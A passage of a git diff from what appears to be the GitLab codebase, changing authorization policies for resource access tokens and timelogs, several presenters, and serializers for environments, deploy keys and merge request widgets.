+ condition(:resource_access_token_creation_allowed) { resource_access_token_creation_allowed? }
with_scope :subject
condition(:has_project_with_service_desk_enabled) { @subject.has_project_with_service_desk_enabled? }
@@ -130,6 +131,7 @@ class GroupPolicy < BasePolicy
enable :read_prometheus
enable :read_package
enable :read_package_settings
+ enable :read_group_timelogs
end
rule { maintainer }.policy do
@@ -212,8 +214,14 @@ class GroupPolicy < BasePolicy
rule { developer & dependency_proxy_available }
.enable :admin_dependency_proxy
- rule { resource_access_token_available & can?(:admin_group) }.policy do
- enable :admin_resource_access_tokens
+ rule { can?(:admin_group) & resource_access_token_feature_available }.policy do
+ enable :read_resource_access_tokens
+ enable :destroy_resource_access_tokens
+ enable :admin_setting_to_allow_project_access_token_creation
+ end
+
+ rule { resource_access_token_creation_allowed & can?(:read_resource_access_tokens) }.policy do
+ enable :create_resource_access_tokens
end
rule { support_bot & has_project_with_service_desk_enabled }.policy do
@@ -241,9 +249,13 @@ class GroupPolicy < BasePolicy
@subject
end
- def resource_access_token_available?
+ def resource_access_token_feature_available?
true
end
+
+ def resource_access_token_creation_allowed?
+ resource_access_token_feature_available? && group.root_ancestor.namespace_settings.resource_access_token_creation_allowed?
+ end
end
GroupPolicy.prepend_if_ee('EE::GroupPolicy')
diff --git a/app/policies/note_policy.rb b/app/policies/note_policy.rb
index 38f0f165376..d9ea7c38f11 100644
--- a/app/policies/note_policy.rb
+++ b/app/policies/note_policy.rb
@@ -76,7 +76,7 @@ class NotePolicy < BasePolicy
def parent_namespace
strong_memoize(:parent_namespace) do
next if @subject.is_a?(PersonalSnippet)
- next @subject.noteable.group if @subject.noteable&.is_a?(Epic)
+ next @subject.noteable.group if @subject.noteable.is_a?(Epic)
@subject.project
end
diff --git a/app/policies/packages/conan/file_metadatum_policy.rb b/app/policies/packages/conan/file_metadatum_policy.rb
new file mode 100644
index 00000000000..ac1ffb3ea93
--- /dev/null
+++ b/app/policies/packages/conan/file_metadatum_policy.rb
@@ -0,0 +1,8 @@
+# frozen_string_literal: true
+module Packages
+ module Conan
+ class FileMetadatumPolicy < BasePolicy
+ delegate { @subject.package_file.package }
+ end
+ end
+end
diff --git a/app/policies/packages/conan/metadatum_policy.rb b/app/policies/packages/conan/metadatum_policy.rb
new file mode 100644
index 00000000000..8622da015c6
--- /dev/null
+++ b/app/policies/packages/conan/metadatum_policy.rb
@@ -0,0 +1,8 @@
+# frozen_string_literal: true
+module Packages
+ module Conan
+ class MetadatumPolicy < BasePolicy
+ delegate { @subject.package }
+ end
+ end
+end
diff --git a/app/policies/packages/package_file_policy.rb b/app/policies/packages/package_file_policy.rb
new file mode 100644
index 00000000000..e98f74204e8
--- /dev/null
+++ b/app/policies/packages/package_file_policy.rb
@@ -0,0 +1,6 @@
+# frozen_string_literal: true
+module Packages
+ class PackageFilePolicy < BasePolicy
+ delegate { @subject.package }
+ end
+end
diff --git a/app/policies/project_policy.rb b/app/policies/project_policy.rb
index de80f2f72b8..c577c8c8471 100644
--- a/app/policies/project_policy.rb
+++ b/app/policies/project_policy.rb
@@ -108,7 +108,8 @@ class ProjectPolicy < BasePolicy
condition(:service_desk_enabled) { @subject.service_desk_enabled? }
with_scope :subject
- condition(:resource_access_token_available) { resource_access_token_available? }
+ condition(:resource_access_token_feature_available) { resource_access_token_feature_available? }
+ condition(:resource_access_token_creation_allowed) { resource_access_token_creation_allowed? }
# We aren't checking `:read_issue` or `:read_merge_request` in this case
# because it could be possible for a user to see an issuable-iid
@@ -259,6 +260,7 @@ class ProjectPolicy < BasePolicy
enable :read_confidential_issues
enable :read_package
enable :read_product_analytics
+ enable :read_group_timelogs
end
# We define `:public_user_access` separately because there are cases in gitlab-ee
@@ -631,11 +633,18 @@ class ProjectPolicy < BasePolicy
rule { project_bot }.enable :project_bot_access
- rule { resource_access_token_available & can?(:admin_project) }.policy do
- enable :admin_resource_access_tokens
+ rule { can?(:admin_project) & resource_access_token_feature_available }.policy do
+ enable :read_resource_access_tokens
+ enable :destroy_resource_access_tokens
end
- rule { can?(:project_bot_access) }.prevent :admin_resource_access_tokens
+ rule { can?(:read_resource_access_tokens) & resource_access_token_creation_allowed }.policy do
+ enable :create_resource_access_tokens
+ end
+
+ rule { can?(:project_bot_access) }.policy do
+ prevent :create_resource_access_tokens
+ end
rule { user_defined_variables_allowed | can?(:maintainer_access) }.policy do
enable :set_pipeline_variables
@@ -719,10 +728,18 @@ class ProjectPolicy < BasePolicy
end
end
- def resource_access_token_available?
+ def resource_access_token_feature_available?
true
end
+ def resource_access_token_creation_allowed?
+ group = project.group
+
+ return true unless group # always enable for projects in personal namespaces
+
+ resource_access_token_feature_available? && group.root_ancestor.namespace_settings.resource_access_token_creation_allowed?
+ end
+
def project
@subject
end
diff --git a/app/policies/timelog_policy.rb b/app/policies/timelog_policy.rb
new file mode 100644
index 00000000000..0598817d4e0
--- /dev/null
+++ b/app/policies/timelog_policy.rb
@@ -0,0 +1,5 @@
+# frozen_string_literal: true
+
+class TimelogPolicy < BasePolicy
+ delegate { @subject.issuable.resource_parent }
+end
diff --git a/app/presenters/ci/build_runner_presenter.rb b/app/presenters/ci/build_runner_presenter.rb
index 769b793ee75..6978bc46475 100644
--- a/app/presenters/ci/build_runner_presenter.rb
+++ b/app/presenters/ci/build_runner_presenter.rb
@@ -33,7 +33,11 @@ module Ci
end
def runner_variables
- variables.to_runner_variables
+ if Feature.enabled?(:variable_inside_variable, project)
+ variables.sort_and_expand_all(project, keep_undefined: true).to_runner_variables
+ else
+ variables.to_runner_variables
+ end
end
def refspecs
@@ -51,6 +55,18 @@ module Ci
specs
end
+ # rubocop: disable CodeReuse/ActiveRecord
+ def all_dependencies
+ dependencies = super
+
+ if Feature.enabled?(:preload_associations_jobs_request_api_endpoint, project, default_enabled: :yaml)
+ ActiveRecord::Associations::Preloader.new.preload(dependencies, :job_artifacts_archive)
+ end
+
+ dependencies
+ end
+ # rubocop: enable CodeReuse/ActiveRecord
+
private
def create_archive(artifacts)
diff --git a/app/presenters/ci/pipeline_presenter.rb b/app/presenters/ci/pipeline_presenter.rb
index 4e955469ddf..a2cdabb912f 100644
--- a/app/presenters/ci/pipeline_presenter.rb
+++ b/app/presenters/ci/pipeline_presenter.rb
@@ -14,7 +14,9 @@ module Ci
activity_limit_exceeded: 'Pipeline activity limit exceeded!',
size_limit_exceeded: 'Pipeline size limit exceeded!',
job_activity_limit_exceeded: 'Pipeline job activity limit exceeded!',
- deployments_limit_exceeded: 'Pipeline deployments limit exceeded!' }
+ deployments_limit_exceeded: 'Pipeline deployments limit exceeded!',
+ project_deleted: 'The associated project was deleted',
+ user_blocked: 'The user who created this pipeline is blocked' }
end
presents :pipeline
diff --git a/app/presenters/clusters/cluster_presenter.rb b/app/presenters/clusters/cluster_presenter.rb
index 541a6363edd..038fc752255 100644
--- a/app/presenters/clusters/cluster_presenter.rb
+++ b/app/presenters/clusters/cluster_presenter.rb
@@ -49,13 +49,25 @@ module Clusters
end
end
- def show_path
+ def show_path(params: {})
if cluster.project_type?
- project_cluster_path(project, cluster)
+ project_cluster_path(project, cluster, params)
elsif cluster.group_type?
- group_cluster_path(group, cluster)
+ group_cluster_path(group, cluster, params)
elsif cluster.instance_type?
- admin_cluster_path(cluster)
+ admin_cluster_path(cluster, params)
+ else
+ raise NotImplementedError
+ end
+ end
+
+ def integrations_path
+ if cluster.project_type?
+ create_or_update_project_cluster_integration_path(project, cluster)
+ elsif cluster.group_type?
+ create_or_update_group_cluster_integration_path(group, cluster)
+ elsif cluster.instance_type?
+ create_or_update_admin_cluster_integration_path(cluster)
else
raise NotImplementedError
end
diff --git a/app/presenters/clusters/integration_presenter.rb b/app/presenters/clusters/integration_presenter.rb
new file mode 100644
index 00000000000..57608be29b1
--- /dev/null
+++ b/app/presenters/clusters/integration_presenter.rb
@@ -0,0 +1,11 @@
+# frozen_string_literal: true
+
+module Clusters
+ class IntegrationPresenter < Gitlab::View::Presenter::Delegated
+ presents :integration
+
+ def application_type
+ integration.class.name.demodulize.underscore
+ end
+ end
+end
diff --git a/app/presenters/commit_status_presenter.rb b/app/presenters/commit_status_presenter.rb
index 714dd232efb..c8d3457b04a 100644
--- a/app/presenters/commit_status_presenter.rb
+++ b/app/presenters/commit_status_presenter.rb
@@ -21,7 +21,9 @@ class CommitStatusPresenter < Gitlab::View::Presenter::Delegated
bridge_pipeline_is_child_pipeline: 'This job belongs to a child pipeline and cannot create further child pipelines',
downstream_pipeline_creation_failed: 'The downstream pipeline could not be created',
secrets_provider_not_found: 'The secrets provider can not be found',
- reached_max_descendant_pipelines_depth: 'Maximum child pipeline depth has been reached'
+ reached_max_descendant_pipelines_depth: 'You reached the maximum depth of child pipelines',
+ project_deleted: 'The job belongs to a deleted project',
+ user_blocked: 'The user who created this job is blocked'
}.freeze
private_constant :CALLOUT_FAILURE_MESSAGES
diff --git a/app/presenters/dev_ops_report/metric_presenter.rb b/app/presenters/dev_ops_report/metric_presenter.rb
index b31dfd25a87..46b580d1f2a 100644
--- a/app/presenters/dev_ops_report/metric_presenter.rb
+++ b/app/presenters/dev_ops_report/metric_presenter.rb
@@ -38,7 +38,7 @@ module DevOpsReport
),
Card.new(
metric: subject,
- title: 'Merge Requests',
+ title: 'Merge requests',
description: 'per active user',
feature: 'merge_requests',
blog: 'https://8thlight.com/blog/uncle-bob/2013/02/01/The-Humble-Craftsman.html',
diff --git a/app/presenters/packages/detail/package_presenter.rb b/app/presenters/packages/detail/package_presenter.rb
index 9960fb4bf12..6640b0c5e94 100644
--- a/app/presenters/packages/detail/package_presenter.rb
+++ b/app/presenters/packages/detail/package_presenter.rb
@@ -64,7 +64,6 @@ module Packages
id: pipeline_info.id,
sha: pipeline_info.sha,
ref: pipeline_info.ref,
- git_commit_message: pipeline_info.git_commit_message,
user: build_user_info(pipeline_info.user),
project: {
name: pipeline_info.project.name,
diff --git a/app/presenters/packages/npm/package_presenter.rb b/app/presenters/packages/npm/package_presenter.rb
index a3ab10d3913..4e147b4739e 100644
--- a/app/presenters/packages/npm/package_presenter.rb
+++ b/app/presenters/packages/npm/package_presenter.rb
@@ -35,9 +35,7 @@ module Packages
private
def build_package_tags
- Hash[
- package_tags.map { |tag| [tag.name, tag.package.version] }
- ]
+ package_tags.to_h { |tag| [tag.name, tag.package.version] }
end
def build_package_version(package, package_file)
diff --git a/app/presenters/packages/nuget/packages_metadata_presenter.rb b/app/presenters/packages/nuget/packages_metadata_presenter.rb
index 5f22d5dd8a1..5f5859d46c9 100644
--- a/app/presenters/packages/nuget/packages_metadata_presenter.rb
+++ b/app/presenters/packages/nuget/packages_metadata_presenter.rb
@@ -6,7 +6,7 @@ module Packages
include Packages::Nuget::PresenterHelpers
include Gitlab::Utils::StrongMemoize
- COUNT = 1.freeze
+ COUNT = 1
def initialize(packages)
@packages = packages
diff --git a/app/presenters/project_presenter.rb b/app/presenters/project_presenter.rb
index 71cbe28de25..aad1c816cf1 100644
--- a/app/presenters/project_presenter.rb
+++ b/app/presenters/project_presenter.rb
@@ -93,10 +93,6 @@ class ProjectPresenter < Gitlab::View::Presenter::Delegated
filename_path(repository.license_blob&.name)
end
- def ci_configuration_path
- filename_path(repository.gitlab_ci_yml&.name)
- end
-
def contribution_guide_path
if project && contribution_guide = repository.contribution_guide
project_blob_path(
@@ -131,10 +127,6 @@ class ProjectPresenter < Gitlab::View::Presenter::Delegated
ide_edit_path(project, default_branch_or_master, 'CONTRIBUTING.md')
end
- def add_ci_yml_path
- add_special_file_path(file_name: ci_config_path_or_default)
- end
-
def add_readme_path
add_special_file_path(file_name: 'README.md')
end
@@ -143,6 +135,10 @@ class ProjectPresenter < Gitlab::View::Presenter::Delegated
ide_edit_path(project, default_branch_or_master, 'README.md')
end
+ def add_ci_yml_path
+ add_special_file_path(file_name: ci_config_path_or_default)
+ end
+
def license_short_name
license = repository.license
license&.nickname || license&.name || 'LICENSE'
@@ -384,11 +380,11 @@ class ProjectPresenter < Gitlab::View::Presenter::Delegated
if cicd_missing?
AnchorData.new(false,
statistic_icon + _('Set up CI/CD'),
- add_ci_yml_path)
+ project_ci_pipeline_editor_path(project))
elsif repository.gitlab_ci_yml.present?
AnchorData.new(false,
statistic_icon('doc-text') + _('CI/CD configuration'),
- ci_configuration_path,
+ project_ci_pipeline_editor_path(project),
'btn-default')
end
end
diff --git a/app/presenters/projects/settings/deploy_keys_presenter.rb b/app/presenters/projects/settings/deploy_keys_presenter.rb
index 103c26289bf..13290a8e632 100644
--- a/app/presenters/projects/settings/deploy_keys_presenter.rb
+++ b/app/presenters/projects/settings/deploy_keys_presenter.rb
@@ -14,12 +14,20 @@ module Projects
@key ||= DeployKey.new.tap { |dk| dk.deploy_keys_projects.build }
end
+ # It includes:
+ # - The deploy keys enabled in the project.
def enabled_keys
strong_memoize(:enabled_keys) do
project.deploy_keys.with_projects
end
end
+ # NOTE: This method is redundant. Use `available_project_keys` and `available_public_keys` instead.
+ # It includes:
+ # - Enabled deploy keys in projects that can be accessed by the user.
+ # - Instance-level public deploy keys.
+ # It excludes:
+ # - The deploy keys enabled in the project.
def available_keys
strong_memoize(:available_keys) do
current_user
@@ -29,22 +37,23 @@ module Projects
end
end
+ # It includes:
+ # - Enabled deploy keys in projects that can be accessed by the user.
+ # It excludes:
+ # - The deploy keys enabled in the project
def available_project_keys
strong_memoize(:available_project_keys) do
- current_user
- .project_deploy_keys
- .id_not_in(enabled_keys.select(:id))
- .with_projects
+ current_user.project_deploy_keys.with_projects - enabled_keys
end
end
+ # It includes:
+ # - Instance-level public deploy keys.
+ # It excludes:
+ # - The deploy keys enabled in the project.
def available_public_keys
strong_memoize(:available_public_keys) do
- DeployKey
- .are_public
- .id_not_in(enabled_keys.select(:id))
- .id_not_in(available_project_keys.select(:id))
- .with_projects
+ DeployKey.are_public.with_projects - enabled_keys
end
end
@@ -78,7 +87,7 @@ module Projects
# rubocop: disable CodeReuse/ActiveRecord
def user_readable_project_ids
- project_ids = (available_keys + available_project_keys + available_public_keys)
+ project_ids = (available_project_keys + available_public_keys)
.flat_map { |deploy_key| deploy_key.deploy_keys_projects.map(&:project_id) }
.compact
.uniq
diff --git a/app/presenters/search_service_presenter.rb b/app/presenters/search_service_presenter.rb
index 19a90d002aa..e14446bb2f7 100644
--- a/app/presenters/search_service_presenter.rb
+++ b/app/presenters/search_service_presenter.rb
@@ -9,7 +9,11 @@ class SearchServicePresenter < Gitlab::View::Presenter::Delegated
projects: :with_web_entity_associations,
issues: :with_web_entity_associations,
merge_requests: :with_web_entity_associations,
- epics: :with_web_entity_associations
+ epics: :with_web_entity_associations,
+ notes: :with_web_entity_associations,
+ milestones: :with_web_entity_associations,
+ commits: :with_web_entity_associations,
+ blobs: :with_web_entity_associations
}.freeze
SORT_ENABLED_SCOPES = %w(issues merge_requests).freeze
diff --git a/app/presenters/user_presenter.rb b/app/presenters/user_presenter.rb
index 0028e6d9ef0..7cd94082bac 100644
--- a/app/presenters/user_presenter.rb
+++ b/app/presenters/user_presenter.rb
@@ -13,7 +13,11 @@ class UserPresenter < Gitlab::View::Presenter::Delegated
private
+ def can?(*args)
+ user.can?(*args)
+ end
+
def should_be_private?
- !can?(current_user, :read_user_profile, user)
+ !Ability.allowed?(current_user, :read_user_profile, user)
end
end
diff --git a/app/serializers/README.md b/app/serializers/README.md
index 97e9625eb6f..d83c2061e0b 100644
--- a/app/serializers/README.md
+++ b/app/serializers/README.md
@@ -284,7 +284,7 @@ MyObjectSerializer.new.represent(object.present)
entity requires `request.user` attribute, but the second one wants
`request.current_user`. When it happens that these two entities are used in
the same serialization request, you might need to pass both parameters to
- the serializer, which is obviously not a perfect situation.
+ the serializer, which is not a perfect situation.
When in doubt, pass only `current_user` and `project` if these are required.
diff --git a/app/serializers/admin/user_entity.rb b/app/serializers/admin/user_entity.rb
index 8908d610046..a5cf40a50b9 100644
--- a/app/serializers/admin/user_entity.rb
+++ b/app/serializers/admin/user_entity.rb
@@ -30,3 +30,5 @@ module Admin
end
end
end
+
+Admin::UserEntity.prepend_if_ee('EE::Admin::UserEntity')
diff --git a/app/serializers/build_artifact_entity.rb b/app/serializers/build_artifact_entity.rb
index 7a030372591..3c2c548d049 100644
--- a/app/serializers/build_artifact_entity.rb
+++ b/app/serializers/build_artifact_entity.rb
@@ -15,17 +15,15 @@ class BuildArtifactEntity < Grape::Entity
expose :path do |artifact|
fast_download_project_job_artifacts_path(
- artifact.project,
+ project,
artifact.job,
file_type: artifact.file_type
)
end
- expose :keep_path, if: -> (*) { artifact.expiring? } do |artifact|
- fast_keep_project_job_artifacts_path(artifact.project, artifact.job)
- end
+ private
- expose :browse_path do |artifact|
- fast_browse_project_job_artifacts_path(artifact.project, artifact.job)
+ def project
+ options[:project] || artifact.project
end
end
diff --git a/app/serializers/build_details_entity.rb b/app/serializers/build_details_entity.rb
index 01a8a4ebea9..0ddcad4dcb9 100644
--- a/app/serializers/build_details_entity.rb
+++ b/app/serializers/build_details_entity.rb
@@ -28,15 +28,15 @@ class BuildDetailsEntity < JobEntity
expose :artifact, if: -> (*) { can?(current_user, :read_job_artifacts, build) } do
expose :download_path, if: -> (*) { build.locked_artifacts? || build.artifacts? } do |build|
- download_project_job_artifacts_path(project, build)
+ fast_download_project_job_artifacts_path(project, build)
end
expose :browse_path, if: -> (*) { build.locked_artifacts? || build.browsable_artifacts? } do |build|
- browse_project_job_artifacts_path(project, build)
+ fast_browse_project_job_artifacts_path(project, build)
end
expose :keep_path, if: -> (*) { (build.has_expired_locked_archive_artifacts? || build.has_expiring_archive_artifacts?) && can?(current_user, :update_build, build) } do |build|
- keep_project_job_artifacts_path(project, build)
+ fast_keep_project_job_artifacts_path(project, build)
end
expose :expire_at, if: -> (*) { build.artifacts_expire_at.present? } do |build|
@@ -99,7 +99,7 @@ class BuildDetailsEntity < JobEntity
end
expose :available do |build|
- project.any_active_runners?
+ build.any_runners_available?
end
expose :settings_path, if: -> (*) { can_admin_build? } do |build|
diff --git a/app/serializers/ci/group_variable_entity.rb b/app/serializers/ci/group_variable_entity.rb
index e7d0a957082..30c8239541a 100644
--- a/app/serializers/ci/group_variable_entity.rb
+++ b/app/serializers/ci/group_variable_entity.rb
@@ -2,5 +2,6 @@
module Ci
class GroupVariableEntity < Ci::BasicVariableEntity
+ expose :environment_scope
end
end
diff --git a/app/serializers/diff_file_entity.rb b/app/serializers/diff_file_entity.rb
index 9865af1e116..b2a544e1125 100644
--- a/app/serializers/diff_file_entity.rb
+++ b/app/serializers/diff_file_entity.rb
@@ -54,7 +54,7 @@ class DiffFileEntity < DiffFileBaseEntity
end
# Used for inline diffs
- expose :highlighted_diff_lines, using: DiffLineEntity, if: -> (diff_file, options) { inline_diff_view?(options, diff_file) && diff_file.text? } do |diff_file|
+ expose :highlighted_diff_lines, using: DiffLineEntity, if: -> (diff_file, options) { inline_diff_view?(options) && diff_file.text? } do |diff_file|
file = conflict_file(options, diff_file) || diff_file
file.diff_lines_for_serializer
end
@@ -68,7 +68,7 @@ class DiffFileEntity < DiffFileBaseEntity
end
# Used for parallel diffs
- expose :parallel_diff_lines, using: DiffLineParallelEntity, if: -> (diff_file, options) { parallel_diff_view?(options, diff_file) && diff_file.text? }
+ expose :parallel_diff_lines, using: DiffLineParallelEntity, if: -> (diff_file, options) { parallel_diff_view?(options) && diff_file.text? }
expose :code_navigation_path, if: -> (diff_file) { options[:code_navigation_path] } do |diff_file|
options[:code_navigation_path].full_json_path_for(diff_file.new_path)
@@ -76,14 +76,17 @@ class DiffFileEntity < DiffFileBaseEntity
private
- def parallel_diff_view?(options, diff_file)
- # If we're not rendering inline, we must be rendering parallel
- !inline_diff_view?(options, diff_file)
+ def parallel_diff_view?(options)
+ diff_view(options) == :parallel
end
- def inline_diff_view?(options, diff_file)
+ def inline_diff_view?(options)
+ diff_view(options) == :inline
+ end
+
+ def diff_view(options)
# If nothing is present, inline will be the default.
- options.fetch(:diff_view, :inline).to_sym == :inline
+ options.fetch(:diff_view, :inline).to_sym
end
def conflict_file(options, diff_file)
diff --git a/app/serializers/discussion_entity.rb b/app/serializers/discussion_entity.rb
index bcf6b331192..0dbfe0f0772 100644
--- a/app/serializers/discussion_entity.rb
+++ b/app/serializers/discussion_entity.rb
@@ -2,7 +2,13 @@
class DiscussionEntity < BaseDiscussionEntity
expose :notes do |discussion, opts|
- request.note_entity.represent(discussion.notes, opts.merge(with_base_discussion: false))
+ request.note_entity.represent(
+ discussion.notes,
+ opts.merge(
+ with_base_discussion: false,
+ discussion: discussion
+ )
+ )
end
expose :positions, if: -> (d, _) { display_merge_ref_discussions?(d) } do |discussion|
diff --git a/app/serializers/environment_serializer.rb b/app/serializers/environment_serializer.rb
index 598ce5f9e4f..2bb9a7e7254 100644
--- a/app/serializers/environment_serializer.rb
+++ b/app/serializers/environment_serializer.rb
@@ -23,7 +23,7 @@ class EnvironmentSerializer < BaseSerializer
latest: super(item.latest, opts) }
end
else
- super(resource, opts)
+ super(batch_load(resource), opts)
end
end
@@ -41,11 +41,59 @@ class EnvironmentSerializer < BaseSerializer
# immediately.
items = @paginator.paginate(items) if paginated?
- environments = resource.where(id: items.map(&:last_id)).index_by(&:id)
+ environments = batch_load(resource.where(id: items.map(&:last_id)))
+ environments_by_id = environments.index_by(&:id)
items.map do |item|
- Item.new(item.folder, item.size, environments[item.last_id])
+ Item.new(item.folder, item.size, environments_by_id[item.last_id])
end
end
+
+ def batch_load(resource)
+ resource = resource.preload(environment_associations)
+
+ resource.all.tap do |environments|
+ environments.each do |environment|
+ # Batch loading the commits of the deployments
+ environment.last_deployment&.commit&.try(:lazy_author)
+ environment.upcoming_deployment&.commit&.try(:lazy_author)
+ end
+ end
+ end
+
+ def environment_associations
+ {
+ last_deployment: deployment_associations,
+ upcoming_deployment: deployment_associations,
+ project: project_associations
+ }
+ end
+
+ def deployment_associations
+ {
+ user: [],
+ cluster: [],
+ project: [],
+ deployable: {
+ user: [],
+ metadata: [],
+ pipeline: {
+ manual_actions: [],
+ scheduled_actions: []
+ },
+ project: project_associations
+ }
+ }
+ end
+
+ def project_associations
+ {
+ project_feature: [],
+ route: [],
+ namespace: :route
+ }
+ end
# rubocop: enable CodeReuse/ActiveRecord
end
+
+EnvironmentSerializer.prepend_if_ee('EE::EnvironmentSerializer')
diff --git a/app/serializers/fork_namespace_entity.rb b/app/serializers/fork_namespace_entity.rb
index abfaf4be811..fc238fa3958 100644
--- a/app/serializers/fork_namespace_entity.rb
+++ b/app/serializers/fork_namespace_entity.rb
@@ -23,7 +23,7 @@ class ForkNamespaceEntity < Grape::Entity
end
expose :relative_path do |namespace|
- polymorphic_path(namespace)
+ group_path(namespace)
end
expose :markdown_description do |namespace|
diff --git a/app/serializers/member_entity.rb b/app/serializers/member_entity.rb
index e8f2bb28d60..6cbdaeea5ea 100644
--- a/app/serializers/member_entity.rb
+++ b/app/serializers/member_entity.rb
@@ -36,6 +36,8 @@ class MemberEntity < Grape::Entity
GroupEntity.represent(member.source, only: [:id, :full_name, :web_url])
end
+ expose :type
+
expose :valid_level_roles, as: :valid_roles
expose :user, if: -> (member) { member.user.present? }, using: MemberUserEntity
diff --git a/app/serializers/member_serializer.rb b/app/serializers/member_serializer.rb
index b34d7f30a58..462f6be5d04 100644
--- a/app/serializers/member_serializer.rb
+++ b/app/serializers/member_serializer.rb
@@ -2,4 +2,10 @@
class MemberSerializer < BaseSerializer
entity MemberEntity
+
+ def represent(members, opts = {})
+ Members::LastGroupOwnerAssigner.new(opts[:group], members).execute unless opts[:source].is_a?(Project)
+
+ super(members, opts)
+ end
end
diff --git a/app/serializers/merge_request_poll_cached_widget_entity.rb b/app/serializers/merge_request_poll_cached_widget_entity.rb
index 1db4ec37d4a..52f5b975656 100644
--- a/app/serializers/merge_request_poll_cached_widget_entity.rb
+++ b/app/serializers/merge_request_poll_cached_widget_entity.rb
@@ -46,18 +46,28 @@ class MergeRequestPollCachedWidgetEntity < IssuableEntity
end
end
- expose :actual_head_pipeline, as: :pipeline, if: -> (mr, _) {
- Feature.enabled?(:merge_request_cached_pipeline_serializer, mr.project) && presenter(mr).can_read_pipeline?
- } do |merge_request, options|
+ expose :actual_head_pipeline, as: :pipeline, if: -> (mr, _) { presenter(mr).can_read_pipeline? } do |merge_request, options|
MergeRequests::PipelineEntity.represent(merge_request.actual_head_pipeline, options)
end
+ expose :merge_pipeline, if: ->(mr, _) {
+ Feature.enabled?(:merge_request_cached_merge_pipeline_serializer, mr.project, default_enabled: :yaml) &&
+ mr.merged? &&
+ can?(request.current_user, :read_pipeline, mr.target_project)
+ } do |merge_request, options|
+ MergeRequests::PipelineEntity.represent(merge_request.merge_pipeline, options)
+ end
+
# Paths
#
expose :target_branch_commits_path do |merge_request|
presenter(merge_request).target_branch_commits_path
end
+ expose :merge_request_widget_path do |merge_request|
+ widget_project_json_merge_request_path(merge_request.target_project, merge_request, format: :json)
+ end
+
expose :target_branch_tree_path do |merge_request|
presenter(merge_request).target_branch_tree_path
end
@@ -104,6 +114,36 @@ class MergeRequestPollCachedWidgetEntity < IssuableEntity
presenter(merge_request).api_unapprove_path
end
+ expose :test_reports_path do |merge_request|
+ if merge_request.has_test_reports?
+ test_reports_project_merge_request_path(merge_request.project, merge_request, format: :json)
+ end
+ end
+
+ expose :accessibility_report_path do |merge_request|
+ if merge_request.has_accessibility_reports?
+ accessibility_reports_project_merge_request_path(merge_request.project, merge_request, format: :json)
+ end
+ end
+
+ expose :codequality_reports_path do |merge_request|
+ if merge_request.has_codequality_reports?
+ codequality_reports_project_merge_request_path(merge_request.project, merge_request, format: :json)
+ end
+ end
+
+ expose :terraform_reports_path do |merge_request|
+ if merge_request.has_terraform_reports?
+ terraform_reports_project_merge_request_path(merge_request.project, merge_request, format: :json)
+ end
+ end
+
+ expose :exposed_artifacts_path do |merge_request|
+ if merge_request.has_exposed_artifacts?
+ exposed_artifacts_project_merge_request_path(merge_request.project, merge_request, format: :json)
+ end
+ end
+
expose :blob_path do
expose :head_path, if: -> (mr, _) { mr.source_branch_sha } do |merge_request|
project_blob_path(merge_request.project, merge_request.source_branch_sha)
diff --git a/app/serializers/merge_request_poll_widget_entity.rb b/app/serializers/merge_request_poll_widget_entity.rb
index 4c34da3fc88..97a81d8170f 100644
--- a/app/serializers/merge_request_poll_widget_entity.rb
+++ b/app/serializers/merge_request_poll_widget_entity.rb
@@ -19,19 +19,22 @@ class MergeRequestPollWidgetEntity < Grape::Entity
# User entities
expose :merge_user, using: UserEntity
- expose :actual_head_pipeline, as: :pipeline, if: -> (mr, _) {
- Feature.disabled?(:merge_request_cached_pipeline_serializer, mr.project) && presenter(mr).can_read_pipeline?
+ expose :merge_pipeline, if: ->(mr, _) {
+ Feature.disabled?(:merge_request_cached_merge_pipeline_serializer, mr.project, default_enabled: :yaml) &&
+ mr.merged? &&
+ can?(request.current_user, :read_pipeline, mr.target_project)
} do |merge_request, options|
- MergeRequests::PipelineEntity.represent(merge_request.actual_head_pipeline, options)
- end
-
- expose :merge_pipeline, if: ->(mr, _) { mr.merged? && can?(request.current_user, :read_pipeline, mr.target_project)} do |merge_request, options|
MergeRequests::PipelineEntity.represent(merge_request.merge_pipeline, options)
end
expose :default_merge_commit_message
- expose :mergeable?, as: :mergeable
+ expose :mergeable do |merge_request, options|
+ next merge_request.mergeable? if Feature.disabled?(:check_mergeability_async_in_widget, merge_request.project, default_enabled: :yaml)
+ next false if options[:async_mergeability_check].present? && merge_request.checking?
+
+ merge_request.mergeable?
+ end
expose :default_merge_commit_message_with_description do |merge_request|
merge_request.default_merge_commit_message(include_description: true)
@@ -73,36 +76,6 @@ class MergeRequestPollWidgetEntity < Grape::Entity
presenter(merge_request).cancel_auto_merge_path
end
- expose :test_reports_path do |merge_request|
- if merge_request.has_test_reports?
- test_reports_project_merge_request_path(merge_request.project, merge_request, format: :json)
- end
- end
-
- expose :accessibility_report_path do |merge_request|
- if merge_request.has_accessibility_reports?
- accessibility_reports_project_merge_request_path(merge_request.project, merge_request, format: :json)
- end
- end
-
- expose :codequality_reports_path do |merge_request|
- if merge_request.has_codequality_reports?
- codequality_reports_project_merge_request_path(merge_request.project, merge_request, format: :json)
- end
- end
-
- expose :terraform_reports_path do |merge_request|
- if merge_request.has_terraform_reports?
- terraform_reports_project_merge_request_path(merge_request.project, merge_request, format: :json)
- end
- end
-
- expose :exposed_artifacts_path do |merge_request|
- if merge_request.has_exposed_artifacts?
- exposed_artifacts_project_merge_request_path(merge_request.project, merge_request, format: :json)
- end
- end
-
expose :create_issue_to_resolve_discussions_path do |merge_request|
presenter(merge_request).create_issue_to_resolve_discussions_path
end
diff --git a/app/serializers/merge_request_widget_entity.rb b/app/serializers/merge_request_widget_entity.rb
index 3ed7d9d8914..a168c7a8490 100644
--- a/app/serializers/merge_request_widget_entity.rb
+++ b/app/serializers/merge_request_widget_entity.rb
@@ -36,7 +36,7 @@ class MergeRequestWidgetEntity < Grape::Entity
end
expose :merge_request_widget_path do |merge_request|
- widget_project_json_merge_request_path(merge_request.target_project, merge_request, format: :json)
+ widget_project_json_merge_request_path(merge_request.target_project, merge_request, async_mergeability_check: true, format: :json)
end
expose :merge_request_cached_widget_path do |merge_request|
diff --git a/app/serializers/merge_requests/pipeline_entity.rb b/app/serializers/merge_requests/pipeline_entity.rb
index c7caad0e62b..bdf5cb160b2 100644
--- a/app/serializers/merge_requests/pipeline_entity.rb
+++ b/app/serializers/merge_requests/pipeline_entity.rb
@@ -28,7 +28,7 @@ class MergeRequests::PipelineEntity < Grape::Entity
rel = rel.select { |artifact| can?(request.current_user, :read_job_artifacts, artifact.job) }
end
- BuildArtifactEntity.represent(rel, options)
+ BuildArtifactEntity.represent(rel, options.merge(project: pipeline.project))
end
